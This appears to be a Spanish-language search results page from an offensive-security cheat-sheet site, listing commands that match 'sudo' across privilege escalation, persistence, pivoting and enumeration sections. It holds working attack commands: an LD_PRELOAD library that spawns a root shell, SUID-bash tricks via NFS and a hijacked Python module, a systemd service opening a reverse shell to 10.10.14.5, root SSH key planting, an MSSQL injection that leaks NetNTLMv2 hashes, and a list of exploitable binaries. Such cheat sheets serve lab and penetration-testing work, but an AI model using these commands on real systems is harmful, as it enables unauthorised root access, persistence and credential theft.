Buscar en todo
78 resultados para «sudo» Ver todos los tipos
Comandos 78
-
Qué puedo ejecutar con sudo
Escalada de privilegios en Linux › Comprobaciones › Sudo, SUID y capabilities
sudo -l -
LD_PRELOAD con sudo (env_keep+=LD_PRELOAD)
Escalada de privilegios en Linux › Explotación › Secuestro de librerías
cat > /tmp/x.c << 'FIN' #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setuid(0); setgid(0); system("/bin/bash -p"); } FIN gcc -fPIC -shared -nostartfiles -o /tmp/x.so /tmp/x.c sudo LD_PRELOAD=/tmp/x.so programa_permitido -
Versión de sudo (CVE-2021-3156, Baron Samedit)
Escalada de privilegios en Linux › Comprobaciones › Sudo, SUID y capabilities
sudo -V | head -1 - cp Binarios Linux explotables › lectura, escritura
- dd Binarios Linux explotables › lectura, escritura
- awk Binarios Linux explotables › shell, sudo, lectura
- env Binarios Linux explotables › shell, sudo, suid
- ftp Binarios Linux explotables › sudo
- gdb Binarios Linux explotables › shell, sudo, cap
- git Binarios Linux explotables › sudo
- lua Binarios Linux explotables › shell, sudo
- man Binarios Linux explotables › sudo
- php Binarios Linux explotables › shell, sudo, suid, cap
- pip Binarios Linux explotables › sudo
- scp Binarios Linux explotables › sudo
- sed Binarios Linux explotables › shell, sudo, lectura
- ssh Binarios Linux explotables › shell, sudo
- tar Binarios Linux explotables › shell, sudo
- tee Binarios Linux explotables › escritura
- vim Binarios Linux explotables › shell, sudo, suid, cap, lectura
- xxd Binarios Linux explotables › lectura, escritura
- zip Binarios Linux explotables › sudo
- bash Binarios Linux explotables › shell, sudo, suid, escritura
- curl Binarios Linux explotables › descarga, lectura, escritura
- date Binarios Linux explotables › lectura
- find Binarios Linux explotables › shell, sudo, suid
- less Binarios Linux explotables › shell, sudo, lectura
- make Binarios Linux explotables › sudo, suid
- more Binarios Linux explotables › sudo, lectura
- nano Binarios Linux explotables › sudo, escritura
- nice Binarios Linux explotables › sudo, suid
- nmap Binarios Linux explotables › sudo
- perl Binarios Linux explotables › shell, sudo, suid, cap
- ruby Binarios Linux explotables › shell, sudo, cap
- wget Binarios Linux explotables › descarga, escritura, lectura
- chmod Binarios Linux explotables › sudo, suid
- flock Binarios Linux explotables › sudo, suid
- mysql Binarios Linux explotables › sudo
- rsync Binarios Linux explotables › shell, sudo
- socat Binarios Linux explotables › sudo
- xargs Binarios Linux explotables › shell, sudo, suid
-
Montar
Nmap y enumeración de servicios › Servicios › NFS (2049)
sudo mount -t nfs 10.10.11.20:/ruta /mnt/nfs -o nolock - docker Binarios Linux explotables › shell, sudo
- expect Binarios Linux explotables › shell, sudo
- python Binarios Linux explotables › shell, sudo, suid, cap, lectura
- strace Binarios Linux explotables › sudo, suid
- apt-get Binarios Linux explotables › sudo
- busybox Binarios Linux explotables › shell, sudo, suid, descarga
- openssl Binarios Linux explotables › lectura, escritura
- service Binarios Linux explotables › sudo
- timeout Binarios Linux explotables › sudo, suid
- systemctl Binarios Linux explotables › sudo, suid
- journalctl Binarios Linux explotables › sudo
-
Capabilities
Escalada de privilegios en Linux › Comprobaciones › Sudo, SUID y capabilities
getcap -r / 2>/dev/null -
Binarios SGID
Escalada de privilegios en Linux › Comprobaciones › Sudo, SUID y capabilities
find / -perm -2000 -type f 2>/dev/null -
Binarios SUID
Escalada de privilegios en Linux › Comprobaciones › Sudo, SUID y capabilities
find / -perm -4000 -type f 2>/dev/null -
Servicio systemd
C2 y post-explotación › Persistencia › Linux
printf '[Service]\\nExecStart=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"\\n[Install]\\nWantedBy=multi-user.target\\n' | sudo tee /etc/systemd/system/upd.service sudo systemctl enable --now upd -
Guardar una captura
Wireshark y tshark › Capturar
sudo tcpdump -i eth0 -w captura.pcap -
Instalar y arrancar
C2 y post-explotación › Mythic › Desplegar
sudo ./mythic-cli install github https://github.com/MythicAgents/apollo sudo ./mythic-cli start -
Ruta a la red interna
Port forwarding y pivoting › ligolo-ng › Montar el túnel
sudo ip route add 172.16.1.0/24 dev ligolo -
UDP (los más comunes)
Nmap y enumeración de servicios › Nmap › Primer contacto
sudo nmap -sU --top-ports 100 --open -n -Pn 10.10.11.20 -
Fuera de banda por ICMP
LFI, SSTI, inyección de comandos y XXE › Inyección de comandos › A ciegas
; ping -c 2 10.10.14.5 -
Módulo de Python suplantado
Escalada de privilegios en Linux › Explotación › Secuestro de librerías
echo 'import os; os.system("chmod u+s /bin/bash")' > /ruta/del/script/random.py -
Ver la contraseña del panel
C2 y post-explotación › Mythic › Desplegar
sudo ./mythic-cli config get MYTHIC_ADMIN_PASSWORD -
Solo observar, sin envenenar
Responder › Capturar hashes
sudo responder -I tun0 -A -
¿Puedo escribir /etc/passwd?
Escalada de privilegios en Linux › Comprobaciones › Permisos de escritura
ls -l /etc/passwd /etc/shadow /etc/sudoers -
Usar el SOCKS con proxychains
Chisel › Más usos
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf proxychains -q curl http://172.16.1.10 -
Añadir el dominio a /etc/hosts
Nmap y enumeración de servicios › Servicios › Otros
echo '10.10.11.20 box.htb' | sudo tee -a /etc/hosts -
Todos los puertos TCP (rápido)
Nmap y enumeración de servicios › Nmap › Primer contacto
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.20 -oG puertos -
Crear la interfaz en tu máquina
Port forwarding y pivoting › ligolo-ng › Montar el túnel
sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up -
Añadir el subdominio a /etc/hosts
Enumeración web › Fuzzing › Subdominios y vhosts
echo '10.10.11.20 box.htb dev.box.htb' | sudo tee -a /etc/hosts -
Escuchar en la interfaz de la VPN
Responder › Capturar hashes
sudo responder -I tun0 -
Crear un bash SUID desde tu máquina
Escalada de privilegios en Linux › Explotación › NFS con no_root_squash
sudo mount -t nfs VICTIMA:/compartido /mnt/nfs sudo cp /bin/bash /mnt/nfs/ && sudo chmod u+s /mnt/nfs/bash -
Añadir una clave SSH de root (si puedes escribir)
C2 y post-explotación › Persistencia › Linux
echo 'ssh-ed25519 AAAA... tu_clave' | sudo tee -a /root/.ssh/authorized_keys -
¿Llega mi ping? (confirmar ejecución de comandos)
Wireshark y tshark › Capturar
sudo tcpdump -i tun0 icmp -
Capturar el hash NetNTLMv2 de la cuenta del servicio
Payloads de inyección SQL › MSSQL › Ejecución de comandos
'; EXEC master..xp_dirtree '\\10.10.14.5\share';-- -
Desactivar SMB y HTTP para hacer relay con ntlmrelayx
Responder › Capturar hashes
sudo sed -i 's/^SMB = On/SMB = Off/; s/^HTTP = On/HTTP = Off/' /etc/responder/Responder.conf -
Llegar a los puertos locales de la víctima (127.0.0.1)
Ligolo-ng › Versiones recientes (0.6 o superior)
sudo ip route add 240.0.0.1/32 dev ligolo